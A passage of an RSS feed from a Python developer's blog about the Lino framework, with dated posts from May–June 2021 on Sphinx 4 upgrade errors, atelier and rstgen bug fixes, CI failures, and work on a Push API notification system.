&lt;td&gt;&lt;p&gt;&lt;a class="reference external" href="https://gitlab.com/lino-framework/amici"&gt;https://gitlab.com/lino-framework/amici&lt;/a&gt;&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-even"&gt;&lt;td&gt;&lt;p&gt;algus&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;master!&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;&lt;a class="reference external" href="https://gitlab.com/lino-framework/algus"&gt;https://gitlab.com/lino-framework/algus&lt;/a&gt;&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="row-odd"&gt;&lt;td&gt;&lt;p&gt;blog&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;master!&lt;/p&gt;&lt;/td&gt;
&lt;td&gt;&lt;p&gt;&lt;a class="reference external" href="https://github.com/lsaffre/blog"&gt;https://github.com/lsaffre/blog&lt;/a&gt;&lt;/p&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/section&gt;
&lt;section id="upgrade-to-sphinx-4"&gt;
&lt;h2&gt;Upgrade to Sphinx 4&lt;a class="headerlink" href="#upgrade-to-sphinx-4" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;In &lt;cite&gt;eid&lt;/cite&gt; I had the following problem:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Extension&lt;/span&gt; &lt;span class="n"&gt;error&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sphinx&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ext&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;extlinks&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="n"&gt;Handler&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;function&lt;/span&gt; &lt;span class="n"&gt;setup_link_roles&lt;/span&gt; &lt;span class="n"&gt;at&lt;/span&gt; &lt;span class="mh"&gt;0x7f381b1c1048&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;event&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;builder-inited&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;threw&lt;/span&gt; &lt;span class="n"&gt;an&lt;/span&gt; &lt;span class="n"&gt;exception&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;exception&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;NoneType&amp;#39;&lt;/span&gt; &lt;span class="nb"&gt;object&lt;/span&gt; &lt;span class="n"&gt;has&lt;/span&gt; &lt;span class="n"&gt;no&lt;/span&gt; &lt;span class="n"&gt;attribute&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;replace&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This was because &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;rstgen.sphinxconf.default_conf&lt;/span&gt;&lt;/code&gt; didn’t test for an empty
&lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;srcref_url_template()&lt;/span&gt;&lt;/code&gt;. Now it does:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;prj&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;main_package&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;root_mod&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;tpl&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;srcref_url_template&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;prj&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;main_package&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;tpl&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;extlinks&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;srcref&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tpl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;A second problem was this:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;sphinx.roles&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;menusel_role&lt;/span&gt;
&lt;span class="ne"&gt;ImportError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;cannot&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;name&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;menusel_role&amp;#39;&lt;/span&gt;

&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;sphinx.roles&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;MenuSelection&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;menusel_role&lt;/span&gt;
&lt;span class="ne"&gt;ImportError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;cannot&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;name&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;menusel_role&amp;#39;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;A third problem was in &lt;a class="reference external" href="https://welfare.lino-framework.org/index.html#welfare" title="(in Lino Welfare)"&gt;&lt;span&gt;Lino Welfare&lt;/span&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;docs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;specs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;plugins&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rst&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;WARNING&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;duplicated&lt;/span&gt; &lt;span class="n"&gt;entry&lt;/span&gt; &lt;span class="n"&gt;found&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;toctree&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;specs&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;clients&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0604.html</guid><pubDate>Fri, 04 Jun 2021 00:00:00 +0000</pubDate></item><item><title>Wednesday, June 2, 2021</title><link>https://luc.lino-framework.org/blog/2021/0602.html</link><description>&lt;section id="wednesday-june-2-2021"&gt;
&lt;h1&gt;Wednesday, June 2, 2021&lt;a class="headerlink" href="#wednesday-june-2-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;As a side effect of my work as a Python developer for Lino I often receive job
offers. I generalized the statement I wrote &lt;a class="reference internal" href="0520.html"&gt;&lt;span class="doc"&gt;Thursday, May 20, 2021&lt;/span&gt;&lt;/a&gt; and  used those thoughts
in my new &lt;a class="reference internal" href="../../about/hire.html"&gt;&lt;span class="doc"&gt;Hire me&lt;/span&gt;&lt;/a&gt; page.&lt;/p&gt;
&lt;p&gt;The &lt;a class="reference external" href="https://atelier.lino-framework.org/invlib.html#command-inv-bd" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;inv&lt;/span&gt; &lt;span class="pre"&gt;bd&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; for getlino is  &lt;a class="reference external" href="https://gitlab.com/lino-framework/getlino/-/jobs/1307346960#L220"&gt;failing on GitLab&lt;/a&gt;. I can
reproduce the problem on my computer as follows.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Deactivate my &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;~/.atelier/config.py&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;In my terminal:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;go&lt;/span&gt; &lt;span class="n"&gt;getlino&lt;/span&gt;
&lt;span class="n"&gt;pip&lt;/span&gt; &lt;span class="n"&gt;uninstall&lt;/span&gt; &lt;span class="n"&gt;atelier&lt;/span&gt;
&lt;span class="n"&gt;pip&lt;/span&gt; &lt;span class="n"&gt;install&lt;/span&gt; &lt;span class="n"&gt;atelier&lt;/span&gt;
&lt;span class="n"&gt;inv&lt;/span&gt; &lt;span class="n"&gt;clean&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="n"&gt;bd&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The &lt;a class="reference external" href="https://dev.lino-framework.org/dev/sphinx/intro.html#xfile-conf.py" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;conf.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; file of the getlino docs is not yet converted to the “new
style”. But that shouldn’t be the problem.&lt;/p&gt;
&lt;p&gt;If calls &lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;rstgen.sphinxconf.interproject()&lt;/span&gt;&lt;/code&gt; as follows:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;rstgen.sphinxconf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;interproject&lt;/span&gt;
&lt;span class="n"&gt;interproject&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;configure&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;globals&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;atelier&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The problem was caused by a bug in &lt;a class="reference external" href="https://atelier.lino-framework.org/api/atelier.projects.html#atelier.projects.Project.get_xconfig" title="(in atelier v1.1)"&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;atelier.projects.Project.get_xconfig()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.
For projects that were loaded from a python module installed from pypi (i.e.
without a &lt;a class="reference external" href="https://atelier.lino-framework.org/usage.html#xfile-tasks.py" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;tasks.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; file) it ignored the hard-coded default values.&lt;/p&gt;
&lt;p&gt;The problem appeared only now because I had recently removed the  line
&lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;doc_trees&lt;/span&gt; &lt;span class="pre"&gt;=&lt;/span&gt; &lt;span class="pre"&gt;['docs']&lt;/span&gt;&lt;/code&gt; from the &lt;a class="reference external" href="https://dev.lino-framework.org/ref/files.html#xfile-__init__.py" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;__init__.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; file of several main
modules.  I removed it because it caused useless complexity: everybody knows
that the default value for &lt;span class="target" id="index-0"&gt;&lt;/span&gt;&lt;a class="reference external" href="https://atelier.lino-framework.org/config.html#envvar-doc_trees" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-envvar docutils literal notranslate"&gt;&lt;span class="pre"&gt;doc_trees&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; is &lt;cite&gt;[‘docs’]&lt;/cite&gt; and we shouldn’t
repeat this.&lt;/p&gt;
&lt;p&gt;I released atelier 1.1.39 to PyPI&lt;/p&gt;
&lt;p&gt;Note that the &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;test&lt;/span&gt;&lt;/code&gt; job for getlino still fails on GitLab. This is another
story. It says:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="o"&gt;./&lt;/span&gt;&lt;span class="n"&gt;prep&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sh&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;docker&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;command&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;found&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;We simply need to also install the docker system package. We can use their
&lt;cite&gt;convenience script
&amp;lt;https://docs.docker.com/engine/install/debian/#install-using-the-convenience-script&amp;gt;&lt;/cite&gt;.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0602.html</guid><pubDate>Wed, 02 Jun 2021 00:00:00 +0000</pubDate></item><item><title>Tuesday, June 1, 2021</title><link>https://luc.lino-framework.org/blog/2021/0601.html</link><description>&lt;section id="tuesday-june-1-2021"&gt;
&lt;h1&gt;Tuesday, June 1, 2021&lt;a class="headerlink" href="#tuesday-june-1-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;What does the following git message mean?&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;From&lt;/span&gt; &lt;span class="n"&gt;gitlab&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;framework&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;xl&lt;/span&gt;
 &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;branch&lt;/span&gt;              &lt;span class="n"&gt;master&lt;/span&gt;     &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;FETCH_HEAD&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;For example:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ go xl
$ git pull
From gitlab.com:lino-framework/xl
 * branch              master     -&amp;gt; FETCH_HEAD
Already up to date.
$ go ug
$ git pull
Already up to date.
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0601.html</guid><pubDate>Tue, 01 Jun 2021 00:00:00 +0000</pubDate></item><item><title>Saturday, May 29, 2021</title><link>https://luc.lino-framework.org/blog/2021/0529.html</link><description>&lt;section id="saturday-may-29-2021"&gt;
&lt;h1&gt;Saturday, May 29, 2021&lt;a class="headerlink" href="#saturday-may-29-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;When detail_layout is a callable, then Lino calls it during startup and expects
it to yield a list of layout descriptions. The first is the “actual”
detail_layout.&lt;/p&gt;
&lt;p&gt;Add support for having multiple items in detail_layout.&lt;/p&gt;
&lt;p&gt;Dynamically created layouts.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0529.html</guid><pubDate>Sat, 29 May 2021 00:00:00 +0000</pubDate></item><item><title>Friday, May 28, 2021</title><link>https://luc.lino-framework.org/blog/2021/0528.html</link><description>&lt;section id="friday-may-28-2021"&gt;
&lt;h1&gt;Friday, May 28, 2021&lt;a class="headerlink" href="#friday-may-28-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I “finished” the developer documentation about &lt;a class="reference external" href="https://dev.lino-framework.org/specs/notify.html#book-specs-notify" title="(in Lino Developer Guide)"&gt;&lt;span&gt;notify: Notification framework&lt;/span&gt;&lt;/a&gt; and did
a last code change: renamed &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;enable_push&lt;/span&gt;&lt;/code&gt; to &lt;code class="xref py py-data docutils literal notranslate"&gt;&lt;span class="pre"&gt;use_push_api&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Once more I gave in to the temptation of working a bit in the general
documentation and reorganized some pages in the &lt;a class="reference external" href="https://www.lino-framework.org/index.html#lf" title="(in Lino framework)"&gt;&lt;span&gt;The Lino framework&lt;/span&gt;&lt;/a&gt;, &lt;a class="reference external" href="https://community.lino-framework.org/index.html#cg" title="(in Lino Community Guide)"&gt;&lt;span class="xref std std-ref"&gt;cg&lt;/span&gt;&lt;/a&gt;  and the
&lt;a class="reference external" href="https://using.lino-framework.org/index.html#ug" title="(in Lino User Guide)"&gt;&lt;span&gt;Lino User Guide&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Sharif and I had a session where we started the &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;OpenHelp&lt;/span&gt;&lt;/code&gt; action.  Every actor gets a “Help” button, which
opens a window on the &lt;a class="reference external" href="https://dev.lino-framework.org/team/doctrees.html#term-site-documentation" title="(in Lino Developer Guide)"&gt;&lt;span class="xref std std-term"&gt;site documentation&lt;/span&gt;&lt;/a&gt; generated by
&lt;a class="reference external" href="https://dev.lino-framework.org/plugins/help.html#management_command-makehelp" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-manage docutils literal notranslate"&gt;&lt;span class="pre"&gt;makehelp&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;. The new button action appears already in the toolbar, but is
not yet clickable. We added a new method &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;Action.get_a_href_target()&lt;/span&gt;&lt;/code&gt;, which
is to be called by the renderer when rendering the JS cache files. It usually
returns &lt;cite&gt;None&lt;/cite&gt;. When it returns a string, Lino should treat this string as a
constant URL to be opened in a new window instead of any other action. Sharif
will continue on this.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://gitlab.com/lino-framework/cg/-/jobs/1299635109"&gt;https://gitlab.com/lino-framework/cg/-/jobs/1299635109&lt;/a&gt; : this failure (and
several others of this style) is because I forgot to add the static path to
atelier’s &lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;MANIFESST.in&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Atelier is now at version 1.1.38. It starts to sound ridiculous. We might change
from semantic versioning to the month-based versioning like for Lino.  There is
one thing that makes me hesitate: I have absolutely no idea why I would ever
want to use semantic versioning. That’s suspicious.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0528.html</guid><pubDate>Fri, 28 May 2021 00:00:00 +0000</pubDate></item><item><title>Thursday, May 27, 2021</title><link>https://luc.lino-framework.org/blog/2021/0527.html</link><description>&lt;section id="thursday-may-27-2021"&gt;
&lt;h1&gt;Thursday, May 27, 2021&lt;a class="headerlink" href="#thursday-may-27-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="end-user-help-pages"&gt;
&lt;h2&gt;End-user help pages&lt;a class="headerlink" href="#end-user-help-pages" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I added a documentation entry about &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/help.html#management_command-makehelp" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-manage docutils literal notranslate"&gt;&lt;span class="pre"&gt;makehelp&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.   The generation process
itself seems now good, but the next step and the most exciting work here is
still to do: have it generate some useful content into help pages.  I am full of
ideas, but find no time to realize them.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="review-the-notification-framework"&gt;
&lt;h2&gt;Review the notification framework&lt;a class="headerlink" href="#review-the-notification-framework" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Sharif and I continued to work on &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.modlib.notify.html#module-lino.modlib.notify" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.notify&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; and &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/4174"&gt;#4174&lt;/a&gt;
(Improve serviceWorker).&lt;/p&gt;
&lt;p&gt;I pushed my changes in lino, xl, ug and book.&lt;/p&gt;
&lt;p&gt;This sprint on the notification framework seems to come to its end. The biggest
change is that we now use the Push API instead of websockets (django-channels
and awsgi) for implementing &lt;a class="reference external" href="https://using.lino-framework.org/plugins/notify.html#term-desktop-notifications" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;desktop notifications&lt;/span&gt;&lt;/a&gt;.  The
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.notify.use_websockets&lt;/span&gt;&lt;/code&gt; plugin parameter is still there but
setting it to &lt;cite&gt;True&lt;/cite&gt; means that you enter unmaintained areas.
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.notify.use_websockets&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;The notification messages are now being created in a subprocess. Thanks to
Sharif who did this fully alone.  It’s only a few lines of code thanks to
Python’s &lt;cite&gt;multiprocessing&lt;/cite&gt; module, but you stilled need to find out how to use
it.&lt;/p&gt;
&lt;p&gt;The &lt;a class="reference external" href="https://dev.lino-framework.org/specs/notify.html#lino.modlib.notify.Subscription" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;Subscription&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; model now has &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;allow_cascaded_delete&lt;/span&gt;&lt;/code&gt; for its
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;user&lt;/span&gt;&lt;/code&gt; field.&lt;/p&gt;
&lt;p&gt;In order to test whether &lt;a class="reference external" href="https://dev.lino-framework.org/specs/notify.html#lino.modlib.notify.ChangeNotifier" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;ChangeNotifier&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; works, the &lt;a class="reference external" href="https://dev.lino-framework.org/ref/demo_fixtures.html#fixture-demo2" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-fixture docutils literal notranslate"&gt;&lt;span class="pre"&gt;demo2&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;
fixture for &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.modlib.comments.html#module-lino.modlib.comments" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.comments&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; now also calls &lt;a class="reference external" href="https://dev.lino-framework.org/dev/update.html#lino.core.model.Model.after_ui_save" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;after_ui_save&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;In &lt;a class="reference external" href="https://dev.lino-framework.org/specs/notify.html#book-specs-notify" title="(in Lino Developer Guide)"&gt;&lt;span&gt;notify: Notification framework&lt;/span&gt;&lt;/a&gt; we added a snippet that shows these messages.&lt;/p&gt;
&lt;p&gt;&lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;send_notification()&lt;/span&gt;&lt;/code&gt; now logs what it does. The
subject of a push notification must be the title of the &lt;a class="reference external" href="https://using.lino-framework.org/jargon.html#term-Lino-site" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;Lino site&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.groups.html#module-lino_xl.lib.groups" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.groups&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; plugin was saying that it wants to install
&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.modlib.comments.html#module-lino.modlib.comments" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.comments&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;, which was nonsense.&lt;/p&gt;
&lt;p&gt;New Site parameter &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.site.Site.use_multiprocessing&lt;/span&gt;&lt;/code&gt; because the
demo fixtures now also create notifications for the demo comments. And
the subprocess didn’t execute correctly during &lt;a class="reference external" href="https://dev.lino-framework.org/ref/commands/prep.html#command-pm-prep" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;pm&lt;/span&gt; &lt;span class="pre"&gt;prep&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;TODO: Is there some way to say in &lt;a class="reference external" href="https://dev.lino-framework.org/ref/commands/prep.html#command-pm-prep" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;pm&lt;/span&gt; &lt;span class="pre"&gt;prep&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; that it should wait for all
subprocess to finish?&lt;/p&gt;
&lt;p&gt;TODO: After releasing to Jane, observe whether notifications are correctly done.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="using-docker"&gt;
&lt;h2&gt;Using Docker&lt;a class="headerlink" href="#using-docker" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;How to build a Docker image that allows you to ssh into it:&lt;/p&gt;
